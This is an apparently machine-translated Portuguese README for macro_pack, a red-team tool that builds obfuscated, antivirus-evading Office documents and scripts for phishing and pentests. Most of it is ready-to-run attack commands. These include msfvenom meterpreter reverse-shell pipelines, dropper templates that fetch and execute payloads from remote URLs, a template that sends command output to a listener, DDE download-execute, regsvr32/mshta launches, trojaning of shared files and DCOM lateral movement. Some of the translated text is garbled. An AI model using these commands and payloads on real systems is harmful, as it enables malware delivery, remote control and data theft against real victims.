Macro_pack - Ferramenta utilizada para geração de documentos do Ms Office para Pentest e de engenharia social
O macro_pack é uma ferramenta usada para automatizar a ofuscação e a geração de formatos retro, como documentos do MS Office ou formato VBS. Esta ferramenta pode ser usada para redteaming, pentests, demos e avaliações de engenharia social. O macro_pack simplificará as soluções antimalware, ignorando e automatizando o processo da geração vba para a geração final do documento do Office.
É muito simples de usar:
- Sem configuração
- Tudo pode ser feito usando uma única linha de código
- Geração da maioria dos formatos Office e formatos baseados em VBS
- Avançados ataques de macro VBA, bem como ataques DDE
A ferramenta é compatível com as cargas úteis geradas por ferramentas pentest populares (Metasploit, Empire, ...). Também é fácil de combinar com outras ferramentas, pois é possível ler a entrada de stdin e ter uma saída silenciosa para outra ferramenta. Esta ferramenta está escrita em Python3 e funciona na plataforma Linux e Windows.
Nota: a plataforma Windows com os aplicativos do MS Office corretos instalados é necessária para geração automática de documentos do Office ou recursos troianos.
Ofuscação
A ferramenta usará várias técnicas de ofuscamento, tudo automático. O recurso Obfuscation é competitivo com todo o formato que pode ser gerado pelo macri_pack, VBA ou VBS.
O ofuscamento básico (opção -o) inclui:
- Funções de renome
- Renomeando variáveis
- Removendo espaços
- Removendo comentários
- Encoding Strings
Note-se que o objetivo principal da ofuscação macro_pack não é evitar a engenharia reversa, é evitar a detecção de antivírus .
Geração
O Macro Pack pode gerar vários tipos de documentos do MS Office e formatos de scripts. O formato será adivinhado automaticamente dependendo da extensão de arquivo fornecida. A geração de arquivos é feita usando a opção --gerar ou -G.
A versão do Macro Pack pro também permite trojan arquivos existentes com opção --trojan ou -T
Ms Office Os formatos suportados são:
- MS Word 97 (.doc)
- MS Word (.docm, .docx)
- MS Excel 97 (.xls)
- MS Excel (.xlsm)
- MS PowerPoint (.pptm)
- MS Visio 97 (.vsd)
- MS Visio (.vsdm)
- MS Project (.mpp)
Os formatos suportados pelo script (txt) são:
- Arquivo de texto VBA (.vba)
- Arquivo de texto VBS (.vbs)
- Windows Script Host (.wsh)
- Script dos scripts do Script do Windows (.wsc, .sct)
- Aplicações em HTML (.hta)
Note que todos os formatos de script podem ser gerados na versão Linux do macro_pack também.
Uso ético
A ferramenta macro_pack só deve ser usada por pentester, pesquisadores de segurança ou outras pessoas com fins de aprendizagem. Eu condenn todo o uso de ferramentas de segurança para ações antiéticas (o clima é legal ou ilegal). Eu sei que isso não impedirá o uso por pessoas mal-intencionadas e é por isso que todos os recursos não são divulgados publicamente.
Sobre o modo pro ...
Você pode notar que nem todas as partes do macro_pack estão disponíveis. Apenas a versão da comunidade está disponível online. Eu temo que os recursos da versão pro realmente sejam muito "armando" o processo e não quero que esteja disponível para todos os criadores de scripts lá fora. O modo pro inclui recursos como:
- Avance antimalware bypass
- VBOM bypass de segurança
- Auto-decodificação VBA
- Persistência do MS Office
- Trojan documentos do MS Office existentes
- Movimento lateral usando objetos DCOM
- Anti-debug usando http://seclists.org/fulldisclosure/2017/Mar/90
Por enquanto, não pretendo lançar ou vender esta versão profissional, no entanto, se você estiver realmente interrested, posso compartilhar pro binário no próximo caso:
- Você significa significativamente contribuir com o macro_pack no GitHub + Preciso conhecer sua identidade
Run / Install
Execute o binário do Windows
- Obter o último binário de https://github.com/sevagas/macro_pack/releases/
- Faça o download do binário no PC com o Microsoft Office original instalado.
- Abra o console, o CD ao diretório binário e chame o binário, simples assim!
macro_pack.exe --help
Instalar de fontes
Baixar e instalar dependências:
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
A ferramenta está em python 3, então apenas comece com sua instalação python3. ex:
python3 macro_pack.py --help
# or
python macro_pack.py --help # if python3 is default install
- Instale PyCrypto em http://www.voidspace.org.uk/python/pycrypto-2.6.1/
- Clique duas vezes no script "build.bat" em uma máquina Windows.
Alguns exemplos da
comunidade macro_pack
- Obfusar o arquivo vba gerado pelo msfvenom e colocar o resultado em um novo arquivo vba.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Obfuscate Empire stager vba file e gerar um documento do MS Word:
macro_pack.exe -f empire.vba -o -G myDoc.docm
- Gerar um arquivo MS Excel contendo um conta-gotas ofuscante (download payload.exe e armazenar como drop.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Crie um documento da palavra 97 que contenha uma carga útil obstruída do inversor do metro reverso dentro de uma pasta compartilhada:
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc
- Baixe e execute o Impulso do iniciador do Império sem powershell.exe usando o modelo DROPPER_PS
# 1 Generate a fiez containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
- Execute o Calc.exe através do ataque Dynamic Data Exchange (DDE)
echo calc.exe | macro_pack.exe --dde -G dde_test.docx
- Baixe e execute o arquivo via powershell usando o ataque Dynamic Data Exchange (DDE)
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
python macro_pack.py --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.doc
- Gere o arquivo VBS VBS reverso Meterpreter obfuso e execute-o
# 1 Generate obfuscated VBS based on meterpreter template
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set LHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
- Arquivo HTA obsoleto gerado que executa "systeminfo" e retorna o resultado para outro macro_pack ouvindo 192.168.0.5
# 1 Generate HTA file with CMD template
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t CMD -o -G info.hta
# 2 On 192.168.0.5 open macro_pack as http listener
macro_pack.exe -l 1234
# 3 run hta file with mshta
mshta.exe full/path/to/info.hta
- Gere o arquivo SCT SCT PPT invertido Meterpreter obfuso e execute-o
# 1 Generate obfuscated VBS scriptlet based on meterpreter reverse HTTPS template
echo <ip> <port> | macro_pack.exe -t WEBMETER -o -G meter.sct
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <attacker_ip> # NOTE this cannot be 0.0.0.0 for reverse https
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j
# 3 run scriptlet with regsvr32
regsvr32 /u /n /s /i:meter.sct scrobj.dll
macro_pack pro
- Trojan o arquivo "report.xlsm" compartilhado existente com um conta-gotas. Use anti-AV e anti-debug recursos.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass --stealth -G "E:\accounting\report.xls"
- Genenerar um arquivo do Word contendo VBA auto-codificado x64 reverse meterpreter VBA carga útil (irá ignorar a maioria dos AV). Manter-vivo é necessário porque precisamos de um medidor para permanecer vivo antes de migrar.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --vbom-encode --keep-alive -G out.docm
- Trojan um arquivo do PowerPoint com um inversor de medição reversa. A macro é ofuscada e mangada para ignorar a maioria dos antivírus.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --av-bypass --trojan -G hotpics.pptm
- Execute uma macro em um PC remoto usando o DCOM
REM Step 1: Ensure you have enough rights
net use \\192.168.0.8\c$ /user:domain\username password
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm
REM Step 3: Copy the document somewhere on remote share
copy meter.xlsm "\\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 4: Execute!
macro_pack.exe --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step:
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"
Todas as opções disponíveis Opções
gerais:
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option
If no input file is provided, input must be passed via stdin (using a pipe).
-q, --quiet Do not display anything on screen, just process request.
-o, --obfuscate Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'
--obfuscate-form Modify readability by removing all spaces and comments in VBA
--obfuscate-strings Randomly split strings and encode them
--obfuscate-names Change functions, variables, and constants names
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
-t, --template=TEMPLATE_NAME Use VBA template already included in macro_pack.exe.
Available templates are: HELLO, CMD, DROPPER, DROPPER2, DROPPER_PS, DROPPER_DLL, METERPRETER, EMBED_EXE
Help for template usage: macro_pack.exe -t help
-G, --generate=OUTPUT_FILE_PATH. Generates a file containing the macro. Will guess the format based on extension.
Supported extensions are: vba, vbs, hta, doc, docm, xls, xlsm, pptm, vsd, vsdm.
Note: Apart from vba which is a text files, all other requires Windows OS with right MS Office application installed.
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file.
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
DDE attack mode is not compatible with VBA Macro related options.
Usage: echo calc.exe | macro_pack.exe --dde -W DDE.docx
Note: This option requires Windows OS with genuine MS Office installed.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
-l, --listen=PORT Open an HTTP server listening on defined port.
-h, --help Displays help and exit
Notes:
If no output file is provided, the result will be displayed on stdout.
Combine this with -q option to pipe only processed result into another program
ex: macro_pack.exe -f my_vba.vba -o -q | another_app
Another valid usage is:
cat input_file.vba | macro_pack.exe -o -q > output_file.vba
macro_pack Pro apenas:
--vbom-encode Use VBA self encoding to bypass antimalware detection and enable VBOM access (will exploit VBOM self activation vuln).
--start-function option may be needed.
--av-bypass Use various tricks efficient to bypass most av (combine with -o for best result)
--keep-alive Use with --vbom-encode option. Ensure new app instance will stay alive even when macro has finished
--persist Use with --vbom-encode option. Macro will automatically be persisted in application startup path
(works with Excel documents only). The macro will then be executed anytime an Excel document is opened (even non-macro documents).
-T, --trojan=OUTPUT_FILE_PATH Inject macro in an existing MS office file.
Supported files are the same as for the -G option.
Files will also be converted to approriate format, ex: pres.pptx will become pres.pptm
If file does not exist, it will be created (like -G option)
--stealth Anti-debug and hiding features
--dcom=REMOTE_FILE_PATH Open remote document using DCOM for pivot/remote exec if psexec not possible for example.
This will trigger AutoOpen/Workboo_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
Modelos de uso de
modelos podem ser chamados de usar -t, --template = TEMPLATE_NAME combinado com outras opções.
Aqui estão todos os modelos disponíveis.
HELLO
Imprima apenas uma mensagem e uma consciência sobre a macro
Envie este modelo o nome ou o email do autor
-> Exemplo:
echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
CMD
Execute uma linha de comando e envie o resultado para o servidor http remoto.
Dê a este modelo o URL do servidor e o comando para executar
-> Exemplo :
echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t CMD -o -G cmd.doc
# Catch result with any webserver or netcat
nc -l -p 7777
DROPPER
Baixe e execute um arquivo.
Dê a este modelo o URL do arquivo e o caminho do arquivo de destino
-> Exemplo:
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
DROPPER2
Baixe e execute um arquivo. Os atributos de arquivo também são definidos como sistema, somente leitura e oculto.
Dê a este modelo o URL do arquivo e o caminho do arquivo de destino.
-> Exemplo:
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER2 -o -G dropper.xlsm
DROPPER_PS
Baixe e execute o script Powershell usando rundll32 (para ignorar powershell.exe bloqueado).
Nota: Esta carga útil irá baixar o PowerShdll da Github.
Dê a este modelo o URL do script do powershell que deseja executar
-> Exemplo:
echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
DROPPER_DLL
Faça o download de uma DLL com outra extensão e execute-a usando o Office VBA
-> Exemplo, carregue o meterpreter DLL usando o Office:
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
METERPRETER
Meterpreter reverse TCP template usando MacroMeter por Cn33liz.
Este modelo é CSharp Meterpreter Stager build por Cn33liz e incorporado no VBA usando DotNetToJScript de James Forshaw.
Dê a este modelo o IP e PORT de ouvir mfsconsole
-> Exemplo: Opções
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
recomendadas de msfconsole (use exploit / multi / handler):
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j
WEBMETER
Meterpreter reverse TCP template usando VbsMeter by Cn33liz.
Este modelo é CSharp Meterpreter Stager build por Cn33liz e incorporado no VBA usando DotNetToJScript de James Forshaw.
Dê a este modelo o IP e PORT de ouvir mfsconsole
-> Exemplo: Opções
echo <ip> <port> | macro_pack.exe -t WEBMETER -o -G meter.vsd
recomendadas de msfconsole (use exploit / multi / handler):
set PAYLOAD windows/meterpreter/reverse_https (32bit)
set PAYLOAD windows/x64/meterpreter/reverse_https (64bit)
set AutoRunScript post/windows/manage/migrate
set LHOST <ip>
set LPORT <port>
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j
EMBED_EXE
Combine com a opção --embed, ele irá soltar e executar (oculto) o arquivo incorporado.
Opcionalmente, você pode dar ao modelo o caminho onde o arquivo deve ser extraído
Se o caminho de extração não for fornecido, o arquivo será extraído com nome aleatório no caminho atual.
-> Exemplo1:
macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.vbs
-> Exemplo2:
echo "path\\to\newcalc.exe" | macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.doc
Eficiência
Os vários recursos foram testados em relação às soluções Antimalware instaladas localmente, bem como ao serviço on-line. Executei vários testes com vários tipos de cargas úteis e recursos de macro_pack. A maioria dos antivírus será evadida pela simples opção "ofuscada". Os recursos disponíveis no modo pro geralmente garantem o bypass AV completo.
Exemplo com Empire VBA stager:
Aqui estão os resultados do scanner NoDistribute para o vigário padrão VBA do Império